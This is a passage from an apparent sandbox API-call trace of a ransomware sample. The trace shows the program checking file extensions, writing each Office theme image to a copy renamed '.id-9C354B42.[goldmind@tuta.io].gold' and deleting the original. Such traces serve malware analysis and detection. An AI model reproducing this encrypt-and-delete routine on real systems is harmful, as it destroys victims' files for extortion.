Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.375] lstrlenW (lpString=".jpg") returned 4 [0041.375] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.375] lstrlenW (lpString=".doc") returned 4 [0041.375] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString=".docx") returned 5 [0041.375] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.375] lstrlenW (lpString=".pdf") returned 4 [0041.375] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.375] lstrlenW (lpString=".xls") returned 4 [0041.375] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.375] lstrlenW (lpString=".xlsx") returned 5 [0041.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.376] lstrlenW (lpString=".ppt") returned 4 [0041.376] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.376] lstrlenW (lpString=".zip") returned 4 [0041.376] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.376] lstrlenW (lpString=".rar") returned 4 [0041.376] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.376] lstrlenW (lpString=".bz2") returned 4 [0041.376] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.376] lstrlenW (lpString=".7z") returned 3 [0041.376] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.376] lstrlenW (lpString=".dbf") returned 4 [0041.376] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.376] lstrlenW (lpString=".1cd") returned 4 [0041.376] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.376] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0041.376] lstrlenW (lpString=".jpg") returned 4 [0041.376] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.376] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.376] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.385] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1347) returned 1 [0041.385] CloseHandle (hObject=0x178) returned 1 [0041.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0041.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.386] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.386] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.386] GetLastError () returned 0x0 [0041.386] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x543, lpOverlapped=0x0) returned 1 [0041.387] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x550, lpOverlapped=0x0) returned 1 [0041.388] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.388] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.388] SetEndOfFile (hFile=0x20c) returned 1 [0041.388] CloseHandle (hObject=0x20c) returned 1 [0041.388] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.388] SetEndOfFile (hFile=0x178) returned 1 [0041.389] CloseHandle (hObject=0x178) returned 1 [0041.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.389] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0041.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.389] lstrlenW (lpString=".doc") returned 4 [0041.390] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.390] lstrlenW (lpString=".docx") returned 5 [0041.390] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.390] lstrlenW (lpString=".pdf") returned 4 [0041.390] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".xls") returned 4 [0041.390] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".xlsx") returned 5 [0041.390] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.390] lstrlenW (lpString=".ppt") returned 4 [0041.390] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".zip") returned 4 [0041.390] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".rar") returned 4 [0041.390] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".bz2") returned 4 [0041.390] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.390] lstrlenW (lpString=".7z") returned 3 [0041.390] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".dbf") returned 4 [0041.390] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".1cd") returned 4 [0041.390] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".jpg") returned 4 [0041.390] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".doc") returned 4 [0041.390] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.390] lstrlenW (lpString=".docx") returned 5 [0041.390] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.390] lstrlenW (lpString=".pdf") returned 4 [0041.390] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".xls") returned 4 [0041.390] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".xlsx") returned 5 [0041.390] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.390] lstrlenW (lpString=".ppt") returned 4 [0041.390] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".zip") returned 4 [0041.390] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".rar") returned 4 [0041.390] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.390] lstrlenW (lpString=".bz2") returned 4 [0041.390] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.390] lstrlenW (lpString=".7z") returned 3 [0041.390] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.390] lstrlenW (lpString=".dbf") returned 4 [0041.390] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.391] lstrlenW (lpString=".1cd") returned 4 [0041.391] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0041.391] lstrlenW (lpString=".jpg") returned 4 [0041.391] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.391] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.391] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.391] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1347) returned 1 [0041.391] CloseHandle (hObject=0x178) returned 1 [0041.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0041.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.391] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.391] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.394] GetLastError () returned 0x0 [0041.394] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x543, lpOverlapped=0x0) returned 1 [0041.395] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x550, lpOverlapped=0x0) returned 1 [0041.396] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.396] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.396] SetEndOfFile (hFile=0x20c) returned 1 [0041.396] CloseHandle (hObject=0x20c) returned 1 [0041.396] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.396] SetEndOfFile (hFile=0x178) returned 1 [0041.397] CloseHandle (hObject=0x178) returned 1 [0041.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.397] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.397] lstrlenW (lpString=".doc") returned 4 [0041.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.397] lstrlenW (lpString=".docx") returned 5 [0041.397] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.397] lstrlenW (lpString=".pdf") returned 4 [0041.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.397] lstrlenW (lpString=".xls") returned 4 [0041.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.397] lstrlenW (lpString=".xlsx") returned 5 [0041.397] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.397] lstrlenW (lpString=".ppt") returned 4 [0041.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.397] lstrlenW (lpString=".zip") returned 4 [0041.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.397] lstrlenW (lpString=".rar") returned 4 [0041.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.397] lstrlenW (lpString=".bz2") returned 4 [0041.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.397] lstrlenW (lpString=".7z") returned 3 [0041.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.397] lstrlenW (lpString=".dbf") returned 4 [0041.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.397] lstrlenW (lpString=".1cd") returned 4 [0041.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString=".jpg") returned 4 [0041.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString=".doc") returned 4 [0041.398] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.398] lstrlenW (lpString=".docx") returned 5 [0041.398] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.398] lstrlenW (lpString=".pdf") returned 4 [0041.398] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.398] lstrlenW (lpString=".xls") returned 4 [0041.398] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.398] lstrlenW (lpString=".xlsx") returned 5 [0041.398] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.398] lstrlenW (lpString=".ppt") returned 4 [0041.398] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString=".zip") returned 4 [0041.398] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.398] lstrlenW (lpString=".rar") returned 4 [0041.398] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.398] lstrlenW (lpString=".bz2") returned 4 [0041.398] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.398] lstrlenW (lpString=".7z") returned 3 [0041.398] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString=".dbf") returned 4 [0041.398] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString=".1cd") returned 4 [0041.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0041.398] lstrlenW (lpString=".jpg") returned 4 [0041.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.398] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.398] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.399] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=26402) returned 1 [0041.399] CloseHandle (hObject=0x178) returned 1 [0041.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0041.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.399] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.399] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.399] GetLastError () returned 0x0 [0041.399] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6722, lpOverlapped=0x0) returned 1 [0041.401] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6730, lpOverlapped=0x0) returned 1 [0041.402] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.402] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.402] SetEndOfFile (hFile=0x20c) returned 1 [0041.402] CloseHandle (hObject=0x20c) returned 1 [0041.402] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.402] SetEndOfFile (hFile=0x178) returned 1 [0041.403] CloseHandle (hObject=0x178) returned 1 [0041.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.403] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 1 [0041.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.403] lstrlenW (lpString=".doc") returned 4 [0041.403] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.403] lstrlenW (lpString=".docx") returned 5 [0041.403] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.403] lstrlenW (lpString=".pdf") returned 4 [0041.403] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.403] lstrlenW (lpString=".xls") returned 4 [0041.403] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.403] lstrlenW (lpString=".xlsx") returned 5 [0041.403] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.403] lstrlenW (lpString=".ppt") returned 4 [0041.403] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.403] lstrlenW (lpString=".zip") returned 4 [0041.403] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.403] lstrlenW (lpString=".rar") returned 4 [0041.403] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.403] lstrlenW (lpString=".bz2") returned 4 [0041.403] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString=".7z") returned 3 [0041.404] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".dbf") returned 4 [0041.404] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".1cd") returned 4 [0041.404] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG") returned 73 [0041.404] lstrlenW (lpString=".jpg") returned 4 [0041.404] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 